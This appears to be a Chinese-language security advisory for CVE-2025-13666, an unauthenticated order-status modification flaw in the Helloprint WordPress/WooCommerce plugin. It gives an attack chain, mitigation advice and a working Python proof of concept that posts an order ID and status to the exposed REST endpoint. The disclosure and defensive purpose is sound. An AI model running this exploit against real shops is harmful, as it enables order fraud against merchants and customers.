IPBUF安全漏洞报告
English
CVE-2025-13666 CVSS 5.3 中危

CVE-2025-13666 | WordPress Helloprint插件未授权订单状态修改漏洞

披露日期: 2025-12-06

漏洞信息

漏洞编号
CVE-2025-13666
漏洞类型
缺失授权/未授权访问
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Helloprint plugin for WordPress (WooCommerce)

相关标签

缺失授权未授权访问WordPress插件漏洞WooCommerceREST API安全CVE-2025-13666Helloprint订单状态篡改CWE-862

漏洞概述

CVE-2025-13666是WordPress平台Helloprint插件的一个严重安全漏洞。该漏洞存在于Helloprint插件2.1.2及以下所有版本中,由于插件注册了一个公开的REST API端点,但未实施任何授权检查来验证请求的真实性。攻击者可以在无需任何认证的情况下,利用此漏洞通过提供有效的订单参考ID来任意修改WooCommerce订单状态。此漏洞可能导致电子商务交易流程被恶意干扰,订单状态被篡改,进而影响商家的正常运营和客户的交易安全。作为一个CVSS评分5.3的中危漏洞,其主要风险在于攻击门槛低,无需特殊权限即可发起攻击,且影响范围涵盖了所有使用该插件的WordPress网站。

技术细节

该漏洞的根本原因在于Helloprint插件在WordPress中注册REST API端点时缺少权限检查机制。插件在/wp-json/helloprint/v1/路径下注册了complete_order_from_helloprint_callback端点,该端点允许外部请求直接修改WooCommerce订单状态。问题出在OrderController.php第48行的代码实现中,端点处理函数直接接受请求参数中的订单ID而未验证请求者是否有权限执行此操作。正常情况下,此类敏感操作应验证用户身份(如检查current_user_can()权限),但该端点完全跳过了这一安全检查。攻击者只需知道一个有效的WooCommerce订单ID,即可通过发送HTTP请求修改该订单的完成状态。这种设计缺陷使得任何未认证的用户都能执行本应仅限管理员或特定权限用户才能进行的操作。

攻击链分析

STEP 1
步骤1
攻击者识别目标网站使用的WordPress和WooCommerce平台,并确认安装了Helloprint插件(版本≤2.1.2)
STEP 2
步骤2
攻击者扫描发现暴露的REST API端点/wp-json/helloprint/v1/complete_order_from_helloprint_callback
STEP 3
步骤3
攻击者获取目标WooCommerce商店中的一个有效订单ID(可通过订单确认邮件、公开API或其他渠道获取)
STEP 4
步骤4
攻击者构造恶意HTTP POST请求,向漏洞端点发送包含目标订单ID的JSON payload,无需任何认证信息
STEP 5
步骤5
服务端插件接收到请求后,由于缺少权限验证,直接执行业务逻辑,将目标订单状态修改为攻击者指定的状态
STEP 6
步骤6
订单状态被篡改后,可能导致虚假完成确认、欺诈性退款、物流异常等问题,给商家和客户造成损失

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-13666 PoC - Helloprint Plugin Missing Authorization # Target: WordPress site with Helloprint plugin <= 2.1.2 target_url = "http://target-wordpress-site.com" endpoint = "/wp-json/helloprint/v1/complete_order_from_helloprint_callback" # The vulnerable endpoint that lacks authorization checks vulnerable_url = f"{target_url}{endpoint}" # Valid WooCommerce order ID to manipulate order_id = "123" # Replace with actual order ID # Payload to modify order status without authentication payload = { "order_id": order_id, "status": "completed" # Desired status modification } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } print(f"[*] Target: {vulnerable_url}") print(f"[*] Attempting to modify order status for order ID: {order_id}") try: response = requests.post( vulnerable_url, json=payload, headers=headers, timeout=10 ) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: print("[+] Order status modified successfully (vulnerability confirmed)") else: print("[-] Request failed or plugin may be patched") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")

影响范围

Helloprint plugin for WordPress <= 2.1.2

防御指南

临时缓解措施
如果无法立即升级插件,可临时采取以下措施:在Web应用防火墙(WAF)中添加规则,阻止对/wp-json/helloprint/v1/路径下端点的外部访问;禁用不必要的REST API端点;或者临时禁用Helloprint插件直到安全更新发布。同时建议审查近期订单状态变更日志,检查是否存在可疑的订单状态修改行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表